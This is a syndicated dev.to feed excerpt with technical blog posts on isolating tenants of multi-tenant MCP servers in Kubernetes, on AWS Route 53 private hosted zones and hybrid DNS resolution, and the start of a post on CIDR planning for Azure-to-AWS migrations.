&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetworkPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deny-cross-tenant&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-tenant-acme&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;policyTypes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;Ingress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;Egress&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;ingress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;namespaceSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;acme&lt;/span&gt;
  &lt;span class="na"&gt;egress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;namespaceSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;tenant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;acme&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;namespaceSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;k8s-app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;kube-dns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;NetworkPolicy&lt;/code&gt; is the actual isolation enforcement: pods in &lt;code&gt;mcp-tenant-acme&lt;/code&gt; can only reach other pods labeled with the same tenant, plus an explicit DNS exception. A &lt;code&gt;ResourceQuota&lt;/code&gt; alongside it addresses the noisy-neighbor problem — without it, one tenant's traffic spike can starve every other tenant even inside dedicated namespaces. The pattern only holds if quota, network policy, and RBAC are applied consistently across every tenant namespace — which is exactly the kind of thing worth generating from a template rather than hand-writing per tenant as the customer count grows.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sandboxing the execution layer
&lt;/h2&gt;

&lt;p&gt;Namespace-level isolation stops one tenant's pod from reaching another over the network. It does nothing about a single pod's own execution boundary. Standard containers share the host kernel — a &lt;code&gt;RuntimeClass&lt;/code&gt; backed by gVisor interposes a user-space kernel so agent-executed code never touches host syscalls directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;node.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RuntimeClass&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gvisor&lt;/span&gt;
&lt;span class="na"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;runsc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Worth being specific about what gVisor buys versus what it doesn't. A &lt;code&gt;runsc&lt;/code&gt;-backed pod still shares the Kubernetes control plane and — absent the &lt;code&gt;NetworkPolicy&lt;/code&gt; above — the node's network stack. The syscall interception layer closes one specific class of escape (a kernel exploit reached through a container's syscall surface); it says nothing about a request that legitimately reaches the pod over the network and abuses an application-level bug once inside. Pattern 2's &lt;code&gt;NetworkPolicy&lt;/code&gt; and this section's &lt;code&gt;RuntimeClass&lt;/code&gt; are answering two different questions — who can reach this pod, and what can code running inside this pod reach past the kernel — and a deployment that only implements one of them has a boundary with a specific, known hole in it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The hybrid most production platforms actually run
&lt;/h2&gt;

&lt;p&gt;In practice, the pattern that shows up most in production is shared compute for the MCP server fleet combined with a per-tenant credential vault — so a compromise of the shared fleet doesn't automatically compromise every tenant's downstream credentials at once:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCredential&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;toolName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Credential&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;vaultPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`tenants/${tenantId}/tools/${toolName}`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;vaultClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vaultPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// short-lived, tenant-scoped token&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The credential vault (HashiCorp Vault, AWS Secrets Manager with per-tenant IAM policies, or Azure Key Vault with per-tenant access policies) becomes the actual blast-radius boundary. A bug in the shared server's tenant-scoping logic is a serious incident, but it isn't automatically a credential-exfiltration incident for every tenant simultaneously — because the credentials were never loaded into a shared, unscoped in-memory store to begin with. This is the pattern worth defaulting to unless a specific tenant's compliance requirement forces pattern 2's dedicated compute.&lt;/p&gt;




&lt;h2&gt;
  
  
  Testing the boundary, not just building it
&lt;/h2&gt;

&lt;p&gt;An isolation pattern that hasn't been tested for cross-tenant leakage is a claim, not a guarantee:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TOKEN_A&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;get_token_for_tenant acme&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN_B&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;get_token_for_tenant globex&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="nv"&gt;TOOL_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;curl -s -X POST https://mcp.example.com/mcp \
  -H &lt;span class="s2"&gt;"Authorization: Bearer $TOKEN_A"&lt;/span&gt; \
  -H &lt;span class="s2"&gt;"Mcp-Method: tools/call"&lt;/span&gt; -H &lt;span class="s2"&gt;"Mcp-Name: create-record"&lt;/span&gt; \
  -d &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"create-record"}}'&lt;/span&gt; \
  &lt;span class="o"&gt;|&lt;/span&gt; jq -r &lt;span class="s1"&gt;'.result.id'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Tenant B attempting to read Tenant A's record must fail&lt;/span&gt;
curl -s -X POST https://mcp.example.com/mcp \
  -H &lt;span class="s2"&gt;"Authorization: Bearer $TOKEN_B"&lt;/span&gt; \
  -H &lt;span class="s2"&gt;"Mcp-Method: tools/call"&lt;/span&gt; -H &lt;span class="s2"&gt;"Mcp-Name: get-record"&lt;/span&gt; \
  -d &lt;span class="s2"&gt;"{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get-record\",\"arguments\":{\"id\":\"$TOOL_ID\"}}}"&lt;/span&gt; \
  &lt;span class="o"&gt;|&lt;/span&gt; jq -e &lt;span class="s1"&gt;'.error.code == "tool_not_found" or .error.code == "not_found"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wiring this into CI means an accidental regression in tenant-scoping logic — a new tool handler that forgets the filter, a cache key that drops the tenant dimension — fails a build instead of surfacing as a support ticket from a customer who noticed data that wasn't theirs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;This summary covers the three patterns and their core mechanics. The full article includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why &lt;code&gt;tool_not_found&lt;/code&gt; vs &lt;code&gt;403&lt;/code&gt; matters for information leakage at the isolation boundary&lt;/li&gt;
&lt;li&gt;The full &lt;code&gt;ResourceQuota&lt;/code&gt; + &lt;code&gt;NetworkPolicy&lt;/code&gt; + RBAC combination for dedicated-compute tenants&lt;/li&gt;
&lt;li&gt;When to use gVisor vs Kata Containers vs Firecracker, and how to match sandboxing depth to actual tool risk&lt;/li&gt;
&lt;li&gt;The OAuth 2.1 + Resource Indicators baseline that pattern 1 depends on to be a real security boundary&lt;/li&gt;
&lt;li&gt;Why the hybrid pattern captures most of pattern 2's blast-radius protection at close to pattern 1's cost&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/multi-tenant-mcp-isolation-patterns/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=multi-tenant-mcp-isolation-patterns" rel="noopener noreferrer"&gt;Multi-Tenant MCP: Isolation Patterns That Hold Up — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>kubernetes</category>
      <category>security</category>
      <category>cloud</category>
    </item>
    <item>
      <title>DNS in AWS: Route 53 Resolver, Private Hosted Zones, and Hybrid Resolution</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Tue, 27 Oct 2026 07:44:09 +0000</pubDate>
      <link>https://dev.to/aloknecessary/dns-in-aws-route-53-resolver-private-hosted-zones-and-hybrid-resolution-5goe</link>
      <guid>https://dev.to/aloknecessary/dns-in-aws-route-53-resolver-private-hosted-zones-and-hybrid-resolution-5goe</guid>
      <description>&lt;p&gt;Three earlier articles in the AWS Network Architecture series each hit the same wall and moved past it: VPC Endpoints needed &lt;code&gt;private_dns_enabled&lt;/code&gt; to work transparently. VPC Peering noted that DNS resolution across a peering connection needs its own explicit setting. Multi-Account Networking flagged that Transit Gateway spoke accounts don't automatically share DNS resolution scope. This article is the piece all three were pointing toward.&lt;/p&gt;

&lt;p&gt;Connectivity at the routing layer and name resolution are two separate problems. It's entirely possible — common, even — to have flawless routing and completely broken DNS, or vice versa. Both layers have to be built correctly, and this article covers the DNS side end to end.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Default: What a VPC Resolves Out of the Box
&lt;/h2&gt;

&lt;p&gt;Every VPC gets a built-in DNS resolver at its base CIDR plus two — for &lt;code&gt;10.0.0.0/16&lt;/code&gt;, that's &lt;code&gt;10.0.0.2&lt;/code&gt;. It's provided automatically, no provisioning required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# From inside an EC2 instance&lt;/span&gt;
cat /etc/resolv.conf
&lt;span class="c"&gt;# nameserver 10.0.0.2&lt;/span&gt;

nslookup s3.ap-south-1.amazonaws.com 10.0.0.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This default resolver handles three things without any additional configuration: public DNS, AWS service endpoints, and any private hosted zone associated with that specific VPC. That third one is where most of this article lives — it works cleanly for a single VPC, and requires deliberate extra infrastructure the moment more than one VPC needs to share the same private namespace.&lt;/p&gt;

&lt;h2&gt;
  
  
  Private Hosted Zones: DNS Scoped to a VPC
&lt;/h2&gt;

&lt;p&gt;A Route 53 private hosted zone only resolves for VPCs it's explicitly associated with — it never appears in public DNS. This is the mechanism behind &lt;code&gt;private_dns_enabled&lt;/code&gt; on Interface endpoints: AWS creates a private hosted zone, associates it with the endpoint's VPC, and that association makes the service's standard public name resolve to the endpoint's private IP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route53_zone"&lt;/span&gt; &lt;span class="s2"&gt;"internal"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"internal.example.com"&lt;/span&gt;

  &lt;span class="n"&gt;vpc&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vpc_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route53_record"&lt;/span&gt; &lt;span class="s2"&gt;"app_db"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;zone_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_route53_zone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;internal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zone_id&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"db.internal.example.com"&lt;/span&gt;
  &lt;span class="k"&gt;type&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"A"&lt;/span&gt;
  &lt;span class="n"&gt;ttl&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;
  &lt;span class="n"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_db_instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An instance outside the associated VPC gets NXDOMAIN — the zone simply doesn't exist from that vantage point, by design.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cross-Account Zone Association
&lt;/h2&gt;

&lt;p&gt;A private hosted zone can be associated with VPCs in other AWS accounts. Cross-account association requires an explicit authorization step from the zone-owning account first — a deliberate security gate so no account can silently attach to another account's internal DNS namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Zone-owning account: authorize the spoke VPC&lt;/span&gt;
aws route53 create-vpc-association-authorization \
  --hosted-zone-id Z0ABC123DEF \
  --vpc &lt;span class="nv"&gt;VPCRegion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ap-south-1,VPCId=vpc-0spokeA1234

&lt;span class="c"&gt;# Spoke account: complete the association&lt;/span&gt;
aws route53 associate-vpc-with-hosted-zone \
  --hosted-zone-id Z0ABC123DEF \
  --vpc &lt;span class="nv"&gt;VPCRegion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ap-south-1,VPCId=vpc-0spokeA1234
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This two-step authorize-then-associate pattern fills the DNS gap that Transit Gateway routing alone doesn't provide in a centralized multi-account model.&lt;/p&gt;

&lt;h2&gt;
  
  
  Route 53 Resolver: For Anything Crossing Outside AWS
&lt;/h2&gt;

&lt;p&gt;Zone association solves internal-name resolution within AWS. It doesn't solve resolving AWS-side private DNS names from outside AWS, or resolving on-prem/Azure DNS names from inside a VPC. Both directions need Route 53 Resolver endpoints.&lt;/p&gt;

&lt;p&gt;An &lt;strong&gt;inbound endpoint&lt;/strong&gt; gives external resolvers a private IP inside the VPC to send queries to. An &lt;strong&gt;outbound endpoint&lt;/strong&gt; with forwarding rules lets VPC-side resolvers forward specific domain queries out to an external DNS server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route53_resolver_endpoint"&lt;/span&gt; &lt;span class="s2"&gt;"outbound"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"resolver-outbound-to-azure"&lt;/span&gt;
  &lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"OUTBOUND"&lt;/span&gt;

  &lt;span class="n"&gt;security_group_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_security_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resolver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="n"&gt;ip_address&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;subnet_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shared_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;ip_address&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;subnet_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shared_b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route53_resolver_rule"&lt;/span&gt; &lt;span class="s2"&gt;"to_azure"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;domain_name&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"corp.internal.azure.example.com"&lt;/span&gt;
  &lt;span class="n"&gt;rule_type&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"FORWARD"&lt;/span&gt;
  &lt;span class="n"&gt;resolver_endpoint_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_route53_resolver_endpoint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbound&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;

  &lt;span class="n"&gt;target_ip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.20.0.10"&lt;/span&gt;  &lt;span class="c1"&gt;# Azure private DNS resolver IP&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route53_resolver_rule_association"&lt;/span&gt; &lt;span class="s2"&gt;"spoke_a"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;resolver_rule_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_route53_resolver_rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_azure&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="n"&gt;vpc_id&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"vpc-0spokeA1234"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rule association step matters as much as the rule itself — a Resolver rule that exists but isn't associated with a given VPC has no effect there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sharing Resolver Rules Across Accounts via RAM
&lt;/h2&gt;

&lt;p&gt;Resolver rules follow the same centralized-ownership pattern as Transit Gateway sharing: a network account creates and owns the outbound endpoint and forwarding rules, then shares them to spoke accounts via AWS Resource Access Manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_resource_share"&lt;/span&gt; &lt;span class="s2"&gt;"resolver_rules"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;                      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ram-resolver-rules-to-azure"&lt;/span&gt;
  &lt;span class="n"&gt;allow_external_principals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_principal_association"&lt;/span&gt; &lt;span class="s2"&gt;"org_share"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;principal&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;aws_organizations_organization&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;resource_share_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_ram_resource_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resolver_rules&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sharing to the whole Organization ARN means a newly created spoke account can associate with the existing forwarding rule immediately, without a manual RAM step per new account.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Failure Checklist
&lt;/h2&gt;

&lt;p&gt;DNS-across-boundaries failures share a common symptom — a name that resolves fine from one vantage point and fails from another. Check in this order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Is the private hosted zone actually associated with the VPC making the query?&lt;/li&gt;
&lt;li&gt;For cross-account association, was the authorization step completed on the zone-owning side?&lt;/li&gt;
&lt;li&gt;For Resolver rules, is the rule associated with the specific VPC — not just created?&lt;/li&gt;
&lt;li&gt;Is a custom DHCP option set overriding the VPC's default resolver?&lt;/li&gt;
&lt;li&gt;For hybrid resolution, is the underlying VPN/network path actually up?&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full post covers additional depth on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete side-by-side mechanism summary table (default resolver vs. zone association vs. Resolver endpoints)&lt;/li&gt;
&lt;li&gt;Resolver query logging with Terraform — turning DNS debugging from guesswork into a direct log lookup&lt;/li&gt;
&lt;li&gt;Why DNSSEC is orthogonal to everything in this article and what it's actually for&lt;/li&gt;
&lt;li&gt;How this connects to the hybrid Azure/AWS migration scenario from the Migration Playbook series — both inbound and outbound resolution directions needed simultaneously during a phased migration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/aws-route53-dns-resolution/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=aws-route53-dns-resolution" rel="noopener noreferrer"&gt;DNS in AWS: Route 53 Resolver, Private Hosted Zones, and Hybrid Resolution — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>networking</category>
      <category>devops</category>
      <category>dns</category>
    </item>
    <item>
      <title>CIDR Planning for Azure-to-AWS Migrations: Reconciling Two Address Spaces That Were Never Designed Together</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Fri, 23 Oct 2026 05:55:50 +0000</pubDate>
      <link>https://dev.to/aloknecessary/cidr-planning-for-azure-to-aws-migrations-reconciling-two-address-spaces-that-were-never-designed-20mm</link>
      <guid>https://dev.to/aloknecessary/cidr-planning-for-azure-to-aws-migrations-reconciling-two-address-spaces-that-were-never-designed-20mm</guid>
      <description>&lt;p&gt;CIDR planning for a migration is not the same exercise as CIDR planning for a greenfield VPC. In a greenfield environment you pick a clean &lt;code&gt;/16&lt;/code&gt;, carve it into tiers, and you're done. In a migration, the target VPC has to coexist with — and eventually replace — a source Azure VNet that was sized and addressed by someone solving a completely different problem, possibly years earlier. The Azure side's CIDR is a fixed constraint, not a design choice. Everything downstream depends on knowing it accurately before a single AWS resource is provisioned.&lt;/p&gt;

&lt;p&gt;This post is part of the AWS Migration Playbook series. It picks up a thread left open in the MGN architecture article — the staging subnet's positioning relative to the rest of the target VPC — and connects it to the broader CIDR reconciliation problem that trips up nearly every real migration at some point.&lt;/p&gt;




&lt;h2&gt;
  
  
  Audit the Azure Side First
&lt;/h2&gt;

